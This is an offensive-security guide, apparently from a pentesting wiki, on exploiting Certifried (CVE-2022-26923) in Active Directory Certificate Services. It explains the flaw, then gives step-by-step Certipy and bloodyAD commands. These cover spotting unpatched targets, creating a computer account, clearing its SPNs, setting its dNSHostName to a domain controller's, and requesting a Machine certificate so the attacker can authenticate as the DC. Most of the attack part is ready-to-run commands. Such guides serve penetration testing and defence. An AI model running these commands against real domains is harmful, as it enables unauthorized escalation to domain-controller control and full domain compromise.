Certifried (CVE-2022-26923) is a vulnerability discovered by Oliver Lyak on AD CS that lets a domain-joined user escalate its privileges in the domain.

A domain user creating a computer account obtains the Validated write to DNS host name and Validated write to service principal name permissions (among other rights). Therefore, the user is allowed to change the DNS host name (dNSHostName) and SPN (servicePrincipalName) attributes of the computer account.

Computer accounts (using the Machine template) use the value of the dNSHostName property for authentication. Attempting to change the dNSHostName to match another computer account raises a constraint error.

In fact, the moment the dNSHostName property is edited, the domain controller makes sure to update the existing SPNs of the account so that the "hostname" part of it is updated to the new DNS hostname. If the SPNs already exist for another account in Active Directory, the domain controllers raises the constraint violation.

The trick found by Oliver goes as follows:

  1. clear the SPNs (or at least those that reflect the dNSHostName value, i.e. the ones with fully-qualified hostnames, e.g. HOST/SRV01.DOMAIN.LOCAL)

  2. change to dNSHostName to a target's DNS hostname (e.g. DC.DOMAIN.LOCAL). The constraint violation won't be raised since there won't be any SPN to update

  3. request a certificate for the computer account using the Machine template. The Certificate Authority will use the dNSHostName value for identification and issue a certificate for the Domain Controller.

  4. Authenticate as the DC.


Detecting unpatched targets

Requesting a certificate based on the Machine (or User) template can indicate whether the patch has been applied or not. If the certificate object contains an SID (objectSid), then the patch has been applied.

This check can be conducted using Certipy (Python).

certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'User'

If Certipy doesn't print Certificate object SID is [...] after obtaining the certificate, then the attack can be conducted.

Oliver underlined the fact that to fully mitigate the vulnerability, both the KDC and the CA server must be patched.

Conducting the attack

Creating a computer account

The first step of the attack consists in creating a computer account (https://github.com/ShutdownRepo/The-Hacker-Recipes/blob/master/ad/movement/ad-cs/machineaccountquota.md, https://github.com/ShutdownRepo/The-Hacker-Recipes/blob/master/machineaccountquota.md#create-a-computer-account), or have the write permission to the dNSHostName and servicePrincipalName attributes of another.

dNSHostName and servicePrincipalName modification

The second step is conducted by removing the SPNs that reflect the dNSHostName value, and then modifying the dNSHostName to the name of the computer account to impersonate.

The bloodyAD (Python) tool can be used on UNIX-like systems to operated these changes.

# Clearing the SPNs
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP set object $COMPUTER_NAME serviceprincipalname

# Setting the dNSHostName value to the name of a computer account to impersonate
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP set object $COMPUTER_NAME dnsHostName -v '$DC_NAME.$DOMAIN'

# Verifying the dNSHostName value and SPN entries
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP get object $COMPUTER_NAME --attr dnsHostName,serviceprincipalname

Certipy tool can also add a machine account and amend the dNSHostName property with the following command liner.

# Adding a computer account and setting the dNSHostName to impersonate
certipy account create -u "$USER"@"$DOMAIN" -p "$PASSWORD" -user "$COMPUTER_NAME" -pass "$COMPUTER_PASS" -dns "$DC_NAME.$DOMAIN"

The Domain Components (DC) are the different parts of the domain name (DC=domain,DC=local for domain.local, or DC=sub,DC=domain,DC=local for sub.domain.local).

Obtaining a certificate

The third and last step consists in getting the certificate of the targeted machine account ($DC_NAME in the previous command examples).

Certipy (Python) can be used to request the certificate from UNIX-like systems.

certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.


Last updated